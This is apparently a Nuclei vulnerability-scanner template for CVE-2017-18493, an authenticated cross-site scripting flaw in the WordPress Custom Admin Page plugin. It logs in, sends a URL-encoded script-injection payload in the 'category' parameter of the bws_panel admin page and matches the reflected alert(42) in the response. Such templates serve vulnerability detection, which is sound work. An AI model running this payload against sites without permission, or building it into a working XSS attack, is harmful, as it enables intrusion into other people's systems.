id: CVE-2017-18493

info:
  name: Custom Admin Page by BestWebSoft < 0.1.2 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The custom-admin-page plugin before 0.1.2 for WordPress has multiple XSS issues.
  reference:
    - https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18493
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18493
    - https://wordpress.org/plugins/custom-admin-page/#developers
  classification:
    cve-id: CVE-2017-18493
  metadata:
    max-request: 2
    verified: true
  tags: cve,cve2017,wordpress,wp-plugin,xss,authenticated

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(42)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "></script><script>alert(42)</script>\">All</a></li>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200